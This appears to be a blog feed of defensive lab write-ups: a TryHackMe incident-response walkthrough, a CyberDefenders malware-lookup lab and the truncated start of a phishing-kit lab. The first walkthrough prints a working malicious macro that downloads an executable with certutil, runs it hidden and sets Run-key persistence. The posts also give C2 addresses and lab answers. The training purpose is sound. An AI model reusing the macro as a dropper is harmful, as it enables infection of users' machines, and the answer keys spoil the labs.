Establishing a robust IR process involves adopting specific frameworks and fostering a mindset that emphasizes continuous improvement.</p><h3>Task-2 Incident Response Lifecycle</h3><h4>What Is Incident Response?</h4><p>Incident Response refers to the strategies, technologies, and processes used by organizations to detect, mitigate, and recover from cyber threats. A well-defined incident response plan enables teams to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*x4IlMrhCEmAQBMuh0VufdA.png" /></figure><ul><li>Limit damage caused by cyberattacks.</li><li>Ensure swift recovery to normal operations.</li><li>Improve organizational security over time.</li></ul><p>Two commonly adopted frameworks for defining effective incident response plans are:</p><ol><li><strong>NIST Incident Response Framework</strong> (by the National Institute of Standards and Technology).</li><li><strong>SANS Incident Response 101</strong> (by Sysadmin, Audit, Network, and Security).</li></ol><p>These frameworks provide step-by-step guidance for organizations to address various types of incidents effectively.</p><h4>NIST Incident Response Framework</h4><p>The NIST framework breaks the process into four distinct, interconnected steps:</p><ol><li><strong>Preparation</strong></li></ol><ul><li>Build and maintain the capability to manage incidents effectively.</li><li>Includes training, creating policies, and implementing security tools.</li></ul><p><strong>2. Detection and Analysis</strong></p><ul><li>Identify incidents, assess their scope, and determine their impact.</li><li>Leverage alerts, monitoring tools, and logs to gather necessary data.</li></ul><p><strong>3. Containment, Eradication, and Recovery</strong></p><ul><li>Contain the incident to prevent further damage.</li><li>Eliminate the threat and restore affected systems.</li></ul><p><strong>4. Post-Incident Activity</strong></p><ul><li>Review the response process to identify areas for improvement.</li><li>Feed lessons learned back into the preparation phase for continuous improvement.</li></ul><h4>SANS Incident Response 101</h4><p>The SANS framework provides a more granular approach by splitting the <strong>Containment, Eradication, and Recovery</strong> step into three separate phases. This results in six total steps:</p><ul><li><strong>Preparation</strong></li><li><strong>Identification</strong> (similar to Detection and Analysis in NIST)</li><li><strong>Containment</strong></li><li><strong>Eradication</strong></li><li><strong>Recovery</strong></li><li><strong>Lessons Learned</strong></li></ul><p>Both frameworks are widely used and can be tailored to fit the needs of different organizations.</p><h4>Incident Response as a Lifecycle</h4><p>Bruce Schneier’s quote, <em>“Security is not a product, but a process,”</em> highlights the importance of viewing Incident Response as a continuous lifecycle rather than a static checklist. Each incident serves as a learning opportunity, feeding improvements back into the preparation phase.</p><h4>Key Practices</h4><ul><li>Treat Incident Response as a dynamic and iterative process.</li><li>Use insights gained from the “Post-Incident Activity” phase to enhance preparation.</li><li>Continuously adapt processes to evolving threats and technologies.</li></ul><h4>The Incident Responder Mindset</h4><p>Incident responders often engage during the <strong>Detection and Analysis</strong> phase, triggered by alerts or anomalies. Working under pressure and urgency, it is essential for responders to:</p><ul><li>Maintain focus on both <strong>eradicating the immediate threat</strong> and <strong>preventing recurrence</strong>.</li><li>Document every action and insight during the response process.</li></ul><p>By adopting this mindset, responders can contribute to long-term organizational security improvements while addressing immediate threats.</p><p><strong>What phase of the NIST Incident Response Framework are responders typically called to action?</strong><br><strong>Answer: Detection and Analysis</strong></p><h3>Task-3 Detection and Analysis</h3><h3>Scenario</h3><p>In our scenario, we are acting as members of our Incident Response Team. A member of the organisation’s SOC Team has called us to investigate and remedy a potential incident impacting a Windows workstation.</p><p>This is how the SOC Team has engaged us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*c65gteY34M_Q5u6UyE4qiw.png" /></figure><p>For this room, we assume that all pre-response steps have been correctly followed, including creating proper backups to preserve evidence. Additionally, we are working in a secure, isolated environment separate from the organizational network to prevent the spread of malicious artifacts.</p><p><strong>Detection</strong>: The detection phase relies on prior preparation, including the implementation of monitoring tools like SIEM, IDS, and EDR systems. These tools help identify potential threats by analyzing network traffic anomalies, suspicious access, or user-reported issues. In this scenario, a user reported a system anomaly, and the IT Team escalated it to the proper teams, suspecting a cyber threat.</p><p><strong>Analysis</strong>: During the analysis phase, the Incident Response Team (IRT) investigates the cause of the reported anomaly. Upon connecting to the affected machine, it is confirmed that the system is slow, likely due to high resource usage. To investigate further, the Windows Task Manager is opened to analyze running processes and system performance. Task Manager provides insights into applications, processes, and system resource usage, helping troubleshoot the issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*dcDb09B1Mkx_unu3TVKtVA.png" /></figure><p>We can see that no apps are currently running other than the task manager itself, although the system is still very slow. There must be some background task that uses up all the resources. To look at the background processes, we can click on More details. The view that opens is much more complete, and we can immediately see that the CPU usage is unusually high - as announced by the low machine performance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*eA3AZffPHK6QsLNWm-OdVQ.png" /></figure><p>Upon reviewing the Task Manager, we notice that most of the system’s processing power is being consumed by a single background process with an unusual name. As experienced incident responders, this raises suspicions of malware, potentially a crypto miner, due to the high resource usage for unknown actions. To confirm this, we proceed by examining the properties of the suspicious process — right-clicking on it and selecting “Properties” for further investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*E2JKgGgWXN34jz0hr9jG9w.png" /></figure><p>Upon reviewing the process properties in the General tab, we notice the executable file is located in a temporary folder, a strong indicator of potential malware. To further confirm, we check if the process is making any outbound connections. We obtain the process’s PID by right-clicking on it and selecting “Go to details,” which highlights the corresponding row in the Details tab for closer examination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69Ch7Sq2_bFJ1oq982nqUQ.png" /></figure><p>Let’s open a command prompt by searching for cmd in the Windows search bar and opening the Command Prompt app. We can use the following command paired with the PID that we got from the task manager&#39;s details: netstat -aofn | find &quot;{PID}&quot;.</p><pre>Microsoft Windows [Version 10.0.19044.3324]<br>(c) Microsoft Corporation. All rights reserved.<br><br>C:\Users\IRUser&gt;netstat -aofn | find &quot;6872&quot;<br>  TCP    10.10.17.57:49793      1.2.3.4:23123          SYN_SENT        6872</pre><p>Upon discovering an outbound connection attempt from the suspicious process towards a combination of IP and a random destination port, our suspicions are further reinforced that this could be malware, likely a crypto miner trying to contact a Command and Control (C2) server to deliver mining data or receive additional instructions. This connection attempt serves as a strong Indicator of Compromise (IoC), providing useful actionable intelligence:</p><ol><li><strong>Immediate Action:</strong></li></ol><ul><li>Block the suspicious IP on the organization’s front-end firewall to prevent further communication with the C2 server.</li></ul><p><strong>2. Further Investigation:</strong></p><ul><li>Search network traffic logs across the organization to identify any other occurrences of the malware.</li><li>Integrate the IoC into a monitoring rule on the Security Information and Event Management (SIEM) system to detect future infections from the same malware.</li></ul><p>Although we would need to conduct a thorough malware analysis to fully understand its behavior, we assume that the IRT has analyzed the executable and identified it as a crypto miner.</p><h4>Identifying the Infection Vector</h4><p>The next step is to identify how the malware first gained access to the system. This is crucial for understanding the attack’s origin and applying targeted remediation efforts to close the security gap.</p><p>Common infection vectors include:</p><ul><li><strong>Exploiting Vulnerabilities:</strong> Attacks that exploit known vulnerabilities in internet-facing systems like web servers, application servers, FTP servers, etc.</li><li><strong>Phishing and Social Engineering:</strong> Tricking users into clicking malicious links or downloading harmful attachments.</li><li><strong>Credential Stuffing and Brute Force Attacks:</strong> Gaining unauthorized access by using stolen or weak credentials.</li><li><strong>Drive-by Downloads:</strong> Malware being downloaded and executed automatically when visiting a compromised website.</li><li><strong>Supply-Chain Attacks:</strong> Malware introduced through a trusted third-party vendor or software update.</li></ul><p>The most common infection vector for workstations is human error, such as users clicking on malicious links in phishing emails, downloading harmful attachments, or visiting compromised websites. Understanding the initial access vector is critical for addressing the root cause of the compromise and preventing future incidents.</p><p>To narrow down the infection vector in this case, we review the actions reported by the IT team regarding the user’s activities prior to the detection of the anomaly. This could provide clues on how the malware initially entered the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*cY5CyA31sWqdgUZgWl_fIA.png" /></figure><p>We can hypothesise a drive-by download or a malicious file inadvertently downloaded from a phishing link. Let’s look at the download history to see if anything catches our responder’s eye.</p><p>We can open a browser by searching for “browser” in the Windows search bar. We will see that only one browser is installed: the default Microsoft Edge. Let’s open it and look at the browsing history. The fastest way to open Edge’s download history is to go to this URL: edge://downloads/all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szoCCnXQsigEJyWJgrPsQA.png" /></figure><p>The latest downloaded file stands out due to its unusual characteristics: it has a suspicious name and was downloaded from an IP address rather than a legitimate domain. Additionally, the file has a .DOCM extension, which indicates that it is a macro-enabled Word document. Macros are commonly used to automate tasks in software, but they can also be exploited by malicious actors to execute harmful actions, such as automatically downloading and running malware.</p><p>Given these red flags, it’s highly likely that this file is the source of the malware infection. When attempting to open the document, Microsoft Word opens slowly, likely due to the system being overwhelmed by the malware’s resource consumption. A prompt for a product key appears, but this can be ignored by closing the window.</p><p>The next step is to examine the contents of the document to verify whether it contains malicious code that could have triggered the malware infection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rb0PEyzWuOJAxsV7A9-vzg.png" /></figure><p><em>This will open a second window that we can dismiss by clicking on the </em>Next<em> button, then on </em><em>Don&#39;t send optional data in the next window, and finally on </em><em>Done.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y0w23lIK5fvihcDz.png" /></figure><p>The document looks suspicious and contains a link to a non-existing website page in its body. Moreover, although we have already noticed that its extension might indicate the presence of macros, Microsoft Word doesn’t alert us about it. This likely means that any existing macro is being — and has been — automatically executed without the need for user execution.</p><p>We can see a list of macros contained in the document by going to View &gt; Macros. In the newly opened window we can see that there is, in fact, a macro inside this document. Let&#39;s select it and open it by clicking on the Edit button on the right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*HxuHxaRSbKRiO2yb.png" /></figure><h3>Analysing the Macro</h3><p>The VBA (Visual Basic for Applications) Editor opens in a new window, and we can start analysing the instructions contained in the macro for signs of malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UMnv5jR0aAvR816OLPFxA.png" /></figure><pre>Sub AutoOpen()<br>    Dim strURL As String<br>    Dim strFilePath As String<br>    Dim strCmd As String<br><br>    If GetObject(&quot;winmgmts:\\.\root\cimv2&quot;).ExecQuery(&quot;SELECT * FROM Win32_Process WHERE Name = &#39;3d33es454e.exe&#39;&quot;).Count &gt; 0 Then Exit Sub<br>    <br>    strURL = &quot;http://172.234.25.65/3d33es454e.exe&quot;<br>    strFilePath = Environ(&quot;TEMP&quot;) &amp; &quot;\3d33es454e.exe&quot;<br><br>    strCmd = &quot;cmd /c certutil -urlcache -split -f &quot;&quot;&quot; &amp; strURL &amp; &quot;&quot;&quot; &quot;&quot;&quot; &amp; strFilePath &amp; &quot;&quot;&quot;&quot;<br><br>    Shell strCmd, vbHide<br>    Wait (10)<br>    Shell strFilePath, vbHide<br>    <br>    strCmd = &quot;cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MyApp /t REG_SZ /d &quot;&quot;&quot; &amp; strFilePath &amp; &quot;&quot;&quot; /f&quot;<br>    Shell strCmd, vbHide<br>End Sub<br><br>Sub Wait(seconds As Single)<br>    Dim endTime As Single<br>    endTime = Timer + seconds<br>    Do While Timer &lt; endTime<br>        DoEvents<br>    Loop<br>End Sub</pre><p>Even if we might not be familiar with the VBA coding language, the two lines of instructions highlighted in the screenshot above should catch our eye, as they both contain the name of the executable that we have identified as the miner sucking the machine’s CPU resources.</p><p>We can analyse the macro instruction-by-instruction to understand exactly what it does. If we aren’t familiar with the Visual Basic for Applications (VBA) language, we can do a Google search of the instructions. Remember that we don’t need to completely understand the code or be a programmer: our goal is to pinpoint the actions taken by the attackers in order to mitigate the threat to the best of our abilities.</p><p>The first line defines a macro named AutoOpen. This macro, when embedded in a Microsoft Office document, will automatically run when the document is opened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v9uSHLPYqZPa2-Cu.png" /></figure><p>The three subsequent lines use Dim to declare three variables of type String; the same three variables are assigned values with the instructions following shortly after.</p><p>The line highlighted by the yellow arrow in the screenshot above contains more complicated elements, and the full explanation of the instruction goes beyond the scope of this room. But briefly, it checks if a process with the same name as our suspicious executable is already running; if the process is found, the macro stops executing. This prevents the macro from downloading and running the same executable file multiple times if it’s already active.</p><p>With the next lines of code, the URL of the file to be downloaded is assigned to the variable strURL, while the variable strFilePath is assigned the full path for the downloaded file by combining the system&#39;s temporary directory path (obtained via Environ(&quot;TEMP&quot;)) with the filename of our miner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*l1uPgPCczkb1SmQu.png" /></figure><p>The next instruction constructs a command string to be executed by the command prompt (cmd). The command uses certutil to download the file from strURL to strFilePath.</p><p>certutil is a command-line utility in Windows used for managing and manipulating certificates and certificate authority (CA) databases. It is part of the Windows Certificate Services and can perform various functions. This is a very interesting way of stealthily downloading a file because it leverages a legitimate, pre-installed Windows utility, trusted by default and often allowed through security measures. This method avoids the need for additional tools that might be detected by antivirus software. The command generates minimal noise, blending in with normal administrative operations, making it less likely to be flagged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*GS3WA5yK3BKDfnLe.png" /></figure><p>With the next set of instructions, the command is executed in a hidden window (vbHide), effectively downloading the file without showing the command prompt to the user; then, after 10 seconds (if you enjoyed this little journey into VBA, you can analyse the Wait function defined at the end of the macro to prove that the Wait (10) instruction does just that), the downloaded file is executed in a hidden window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VwB1Lo8TjJxzyeUM.png" /></figure><p>Finally, the macro constructs and executes a different command to add a Windows Registry entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run, which ensures that the downloaded file runs every time the user logs in, ensuring persistence by making the executable run at startup.</p><p>The Windows Registry is a hierarchical database that stores configuration settings and options for the Windows operating system and installed applications. The Run keys in the Windows Registry specify programs to be automatically executed when a user logs in. For this reason, they are often leveraged by malware to ensure persistence in the infected system even after rebooting. Understanding the Windows Registry goes beyond the scope of this room, but we highly recommend that aspiring incident responders become familiar with it.</p><p>Now, something that the IT Team reported starts to make sense:</p><p>[…]</p><p><em>He tried rebooting the machine, but performance was still very low.</em></p><p>[…]</p><p>Let us make a recap of what we’ve learnt from our analysis of the macro:</p><ul><li>The macro, named AutoOpen, executes automatically when the document is opened.</li><li>It immediately checks if a process with a name that matches the malware is already running. In this case, it terminates.</li><li>If there is no such process, the macro leverages certutil to download the malware from a specific URL, and saves it to a temporary directory.</li><li>It then stealthily executes the malware from a hidden command prompt.</li><li>In the same stealthy manner, the macro finally ensures persistence by adding the malware to the Run registry key. This will allow the malware to be executed every time the user logs into the system, even after reboot.</li></ul><p>Now it’s your turn to put into practise what we discussed in this task by investigating the attached VM to answer the questions.</p><p>lets begin answering the questions</p><p>Q1. What is the name of the process active in the attached VM that we suspect could be a miner?</p><p>We can quickly identify suspicious processes using Windows Task Manager, which is a built-in utility that provides an overview of system resource usage. In our scenario, however, the Task Manager initially shows no processes. This may happen if the view is not expanded to show all details or if the user is running a restricted version of Task Manager. The Task Manager provides a quick way to view CPU, memory, disk, and network usage, which can help us spot any unusual resource consumption by a process. In this case, the empty view is likely a result of the system’s minimal resource allocation due to the suspected malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*dcDb09B1Mkx_unu3TVKtVA.png" /></figure><p>To view more detailed information, we can click on the ‘More Details’ button at the bottom of the Task Manager window. This expands the interface to display all running processes, along with their associated resource usage. By expanding the view, we gain insight into the processes consuming CPU, memory, disk, and network bandwidth, which are critical indicators for identifying malicious activity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*8nCM2eMWeb3YhzTVaFDyXw.png" /></figure><p>Once the Task Manager is fully expanded, we can observe that one of the processes is consuming a disproportionate amount of CPU resources. This process has a suspicious, garbled name, which is uncommon for legitimate applications. In many cases, malware uses random or obfuscated names to avoid detection. This anomalous resource usage and the strange process name lead us to suspect that this is the malicious process responsible for the system’s abnormal behavior. We can proceed with further investigation to confirm our hypothesis</p><p>Answer: 32th4ckm3.exe</p><p>Q2: What is the combination IP:port of the C2 server of the malware?</p><p>We can address this question by using the process name displayed in the Task Manager and utilizing the netstat command-line tool to identify the process&#39;s C2 (Command and Control) server. First, we need to locate the process ID (PID) in the Task Manager. To do this, click on the &#39;Details&#39; tab, which will display a list of all running processes, including their respective PIDs. Find the suspicious process, and note its PID, as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*QNlnsYgGiR9Nm2rY-8z1pQ.png" /></figure><p>After obtaining the PID, open a Command Prompt window by searching for ‘cmd’ in the Windows search bar and selecting the ‘Command Prompt’ app. Once the Command Prompt is open, execute the following command to check the network connections associated with the process: netstat -aofn | find &quot;{PID}&quot;. Replace {PID} with the actual process ID you obtained from Task Manager. This command will display the network connections related to the specified process, helping us identify any outbound connections to a potential C2 server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*vSKdlJ4XwiruaG8vikb36g.png" /></figure><p>Answer: 45.33.32.156:42424</p><p>Q3. What is the name of the document containing the malicious macro?</p><p>We can investigate this question by checking both the user’s download folder and their download history. It’s essential to check both locations to ensure we can recover the file, even if it has been deleted from one of them. First, we should examine the download folder for any suspicious files. If the file name matches the one reported, we can proceed with further analysis.</p><p>This approach covers both the potential locations where the file might reside and ensures we aren’t overlooking any crucial evidence. Checking both the download folder and download history maximizes the chances of locating the file, even if one of the sources has been cleared or modified</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*MKND1il8VtJe9jQ_mQp9sQ.png" /></figure><p>Answer: invoice n. 65748224.docm</p><p>Q4. What is the website from which the miner was downloaded?</p><p>Next, we should open the suspicious file that was downloaded. In Microsoft Word, navigate to the ‘View’ tab and click on macros then edit. Afterward, open the Visual Basic (VB) script editor to inspect the code. By analyzing the script, we can identify the source from which the malicious file was downloaded. Upon inspection, I discovered that the malicious file was downloaded from the IP address: <a href="http://172.233.61.246/">http://172.233.61.246/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9jUvC5XHtOMrlXLI_wo0aQ.png" /></figure><p>Answer: <a href="http://172.233.61.246/">http://172.233.61.246/</a>.</p><p>What is the utility that the macro leveraged to download the malware?</p><p>Answer: certutil</p><h3><strong>Task-4 Containment, Eradication, and Recovery</strong></h3><p>Now that we’ve analyzed the malware and understood how it infected the system, we can move forward with containing the threat, eradicating it, and recovering the affected machine.</p><h4>Containment</h4><p>This step is partially addressed by the initial actions we took, such as disconnecting the compromised machine from the organizational network, preventing the malware from spreading further.</p><p>Next, we focus on stopping the immediate impact on the machine by terminating the malicious process. In the Task Manager, we can right-click the suspicious process and select “End Task.” This halts the malware from consuming additional resources on the system.</p><p>However, containment isn’t just about isolating a single compromised machine. As incident responders, we must act on a broader scale, ensuring the malware hasn’t spread across the entire organization. To do this:</p><ul><li>We gather Indicators of Compromise (IoCs) from our analysis, including:</li><li>The IP and port of the Command and Control (C2) server.</li><li>The URL from which the malicious macro-enabled Word document was downloaded.</li><li>The URL embedded in the macro that fetched the malware.</li><li>The hash of the malware’s executable file.</li><li>We then sweep the organization’s network using tools like SIEM, EDR, and network monitoring devices to search for these IoCs and detect any other infected systems.</li><li>To prevent future infections from the same threat, we can:</li><li>Feed the collected IoCs into monitoring systems, such as adding the malware hash to the EDR’s blocklist.</li><li>Create SIEM rules to alert us if the compromised URLs or C2 IP are contacted again.</li></ul><h4>Eradication</h4><p>Now that we’ve identified and contained the threat, we focus on eradicating it from the compromised system.</p><ul><li>First, we delete the malware from its location in the temporary folder, where it was running.</li><li>Then, we remove the Word document with the embedded macro that facilitated the malware download.</li><li>We also clear the user’s download history to prevent them from accidentally clicking the malicious link again in the future.</li></ul><h4>Recovery</h4><p>Once the system is cleaned of the malware, the recovery phase begins, which involves restoring the machine to its normal state:</p><ul><li>This may include reinstalling any software that was removed or corrupted by the malware.</li><li>Ensure all security patches and updates are applied.</li><li>Perform a full system scan to ensure no remnants of the malware remain.</li></ul><p>And, most importantly, we must ensure that no persistence mechanisms are still in place. Thus, we must restore the Run registry key to its original value. To do so, we can search for regedit in the Windows search bar and select the Registry Editor app. To view the compromised Run key, we can paste the full path of the key in the bar at the top of the editor: Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oxoEZuIckHW2Ei4r" /></figure><p>We will see a list of all the applications and processes configured to run at logon automatically. To delete the persistence, we can select the value containing our miner and simply right-click &gt; select Delete.</p><p>With these actions, assuming that the malware analysis of the executable didn’t discover any other persistence mechanisms or artefacts dropped by the malware, the machine is restored to its clean state.</p><p>Q1. Which folder should we navigate to in order to find and delete the malicious process? (Full path)</p><p>To answer this question, open the Registry Editor and navigate to Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunThis registry key stores entries for programs set to run automatically when the user logs in. Once there, you can inspect the values for any suspicious or unfamiliar entries that may point to malicious software. If any such entries are found, it indicates that the program is set to run on startup, and further investigation or removal is required to eradicate the threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*1CoM3kw4QL9DQanyCVBdqg.png" /></figure><p>also we can asnwer the question by “Right-click the process in the task manager and check the properties.” — -tryhackme Hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*1CoM3kw4QL9DQanyCVBdqg.png" /></figure><h3>Task-5 Closing the Cycle</h3><p>The post-incident activity phase in the incident response lifecycle focuses on learning from the incident to improve future response efforts and overall security. This involves reviewing the incident, documenting lessons learned, and incorporating these insights into the Incident Response Plan (IRP) to enhance future preparedness.</p><p>This phase also ties back to the preparation phase, which is fundamental for effective incident management. By reviewing the insights gained, organizations can refine their IRP to better handle future incidents.</p><p>For this scenario, key improvements to the IRP could include:</p><ol><li>Implementing an Endpoint Detection and Response (EDR) solution to detect threats like crypto miners and malicious macros.</li><li>Enforcing a web-browsing control system to prevent access to unsafe websites.</li><li>Raising awareness among employees about the risks of macro-enabled Office files and suspicious links through mandatory training.</li><li>Considering a policy to block macro execution to prevent future infections, while ensuring it doesn’t disrupt legitimate operations.</li></ol><p>Q1. The goal of an effective preparation phase is to develop an:</p><p>Answer: Incident Response Plan</p><h3>Task 6 Conclusion</h3><p>In conclusion, we have learnt that mastering the incident response process is essential for safeguarding an organisation’s digital assets and ensuring business continuity in the face of cyber threats.</p><p>The NIST Incident Response lifecycle, with its phases of preparation, detection and analysis, containment, eradication and recovery, and post-incident activity, provides a comprehensive framework for effectively managing and mitigating incidents. The critical insights gained from each phase, particularly from post-incident activity, must be reintegrated into the preparation phase to continually enhance the Incident Response Plan (IRP).</p><p>Remember, the cycle of preparation, response, and improvement is continuous and essential for staying ahead in the ever-evolving landscape of cyber security.</p><p>If you enjoyed analysing this incident and would like to deepen your knowledge on some of the topics we’ve touched, such as the Windows Registry, and exercise your responder’s muscles, check out these rooms next:</p><ul><li><a href="https://tryhackme.com/r/room/registrypersistencedetection">Registry Persistence Detection</a></li><li><a href="https://tryhackme.com/r/room/winincidentsurface">Windows Incident Surface</a></li><li><a href="https://tryhackme.com/r/room/investigatingwindows">Investigating Windows</a></li><li><a href="https://tryhackme.com/r/room/windowsforensics1">Windows Forensics 1</a></li><li><a href="https://tryhackme.com/r/room/windowsforensics2">Windows Forensics 2</a></li></ul><p>Congratulations! you have competed the Room!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=468a7e3136f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders Write-up For Yellow RAT]]></title>
            <link>https://medium.com/@bakeery/cyberdefenders-write-up-for-yellow-rat-ea3897cfc0fc?source=rss-b58457e41536------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea3897cfc0fc</guid>
            <dc:creator><![CDATA[bakeery]]></dc:creator>
            <pubDate>Thu, 05 Dec 2024 06:40:24 GMT</pubDate>
            <atom:updated>2024-12-05T06:40:24.818Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><p>Instructions:</p><ul><li>Uncompress the lab (pass: cyberdefenders.org)</li></ul><p>Scenario Discreption:</p><p>During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees’ search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.</p><p>First, download the file and unzip it. You can use any machine of your choice; in my case, I used Kali Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*LCzx3wpHIPhfj9gZrUXkUA.png" /></figure><p>After obtaining the hash, scan it on <a href="https://www.virustotal.com/">VirusTotal</a>to begin the investigation and answer the questions:</p><p>Q1. Understanding the adversary helps defend against attacks. What is the name of the malware family that causes abnormal network traffic?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*Bz5cxGpdibC-bldHgeI1cA.jpeg" /></figure><p>Answer: Yellow Cockatoo RAT</p><p>Q2. As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection. What is the common filename associated with the malware discovered on our workstations?</p><p>The file name can be found right under the hash name in the Detection column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wN_7H9QxltVrWDxYVt6PbA.jpeg" /></figure><p>Answer: 111bc461–1ca8–43c6–97ed-911e0e69fdf8.dll</p><p>Q3. Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline. What is the compilation timestamp of the malware that infected our network?</p><p>For this, we need to go to the Details column, where information about the malicious software can be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgymcXbJxaE7noDX6LiOiQ.jpeg" /></figure><p>Answer: 2020–09–24 18:26:47</p><p>Q4. Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection. When was the malware first submitted to VirusTotal?</p><p>from the above image,<em> First submission </em>is when the malware was first submitted to Virustotal</p><p>Answer: 2020–10–15 02:47:37</p><p>Q5. To completely eradicate the threat from Industries’ systems, we need to identify all components dropped by the malware. What is the name of the .dat file that the malware dropped in the AppData folder?</p><p>I found the file in the Detection column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_tQlo1UZP-nyEo498q59w.jpeg" /></figure><p>After clicking on ‘View Ruleset,’ an information box will open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*l5wO8GxtZ8GXZkpHdHj14g.jpeg" /></figure><p>where we can see the answer right under strings</p><p>Answer: solarmarker.dat</p><p>Q6. It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfil</p><p>In Behaviour column, we can find the C2 domain under<em> Memory Pattern Domains</em></p><p><strong>Memory Pattern Domains</strong> column in VirusTotal shows any suspicious or malicious websites (domains) that a file might be connected to during its execution. It helps identify if the file is trying to communicate with known harmful servers, which is common behavior for malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ve3jb2KCaJ7ZnnPE3YuxVw.png" /></figure><p>Answer: <a href="https://gogohid.com/">https://gogohid.com</a></p><p>Congratulations! you have completed the Lab</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea3897cfc0fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GrabThePhisher Lab Challenge Walkthrough on Cyberdenders]]></title>
            <link>https://medium.com/@bakeery/grabthephisher-lab-44eb76ed6179?source=rss-b58457e41536------2</link>
            <guid isPermaLink="false">https://medium.com/p/44eb76ed6179</guid>
            <dc:creator><![CDATA[bakeery]]></dc:creator>
            <pubDate>Wed, 04 Dec 2024 09:59:32 GMT</pubDate>
            <atom:updated>2024-12-04T12:56:06.361Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first write-up on this platform. In case you do not know me, my name is bakeery, and I am a Computer Science and Engineering student who is passionate about cybersecurity</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/">GrabThePhisher </a>is a Blue Team challenge on <a href="https://cyberdefenders.org/">Cyberdefenders</a>. <em>“CyberDefenders is a blue team training platform focused on the defensive side of cybersecurity to learn, validate, and advance CyberDefense skill</em>s”. without futher delay, lets get started..</p><h3>GrabThePhisher Lab</h3><p>Category: Threat Intel</p><p>Tactics: Initial AccessDiscoveryExfiltration</p><p>Tool: Text Editor</p><p>Start by downloading the zip file and extracting it. The password is cyberdefenders.org. Then, open it with any text editor of your choice. In my case, I used VSCode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yiY0N9tePF2FG87L2sDFlw.png" /></figure><p>Let’s start by going through the files and answering the questions one by one. First, I examined the program’s structure and began looking for the source code. After understanding the program’s structure, I started answering the questions</p><p>Q1. Which wallet is used for asking the seed phrase?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*YWMTuDdnaQm_9SQ94OGZaA.png" /></figure><p>When I was examining the structure, this folder caught my attention. I took a look at the metamask.php file, and it seemed to contain a lot of information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfUzu1b1NHBBaf1esLE1kA.jpeg" /></figure><p>In the PHP file we can see the Wallet</p><p>Answer: Metamask</p><p>Q2: What is the file name that has the code for the phishing kit?</p><p>I guess this is one of the most simplest answer, xD</p><p>Answer: metamask.php</p><p>Q3: In which language was the kit written?</p><p>Yoo! another easy quesion, we can clearly see its a PHP language</p><p>Answer: PHP</p><p>Q4. What service does the kit use to retrieve the victim’s machine information?</p><p>Now its time to read the source code, lets begin line by line, at line 2 we can see a sypexgeo is used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*Mi25LEsbrteqfnnwggUtYg.jpeg" /></figure><p><a href="https://sypexgeo.net/en/about/">SypexGeo</a> is a service providing IP geolocation and online statistics. It offers tools for websites to identify the location of visitors based on their IP 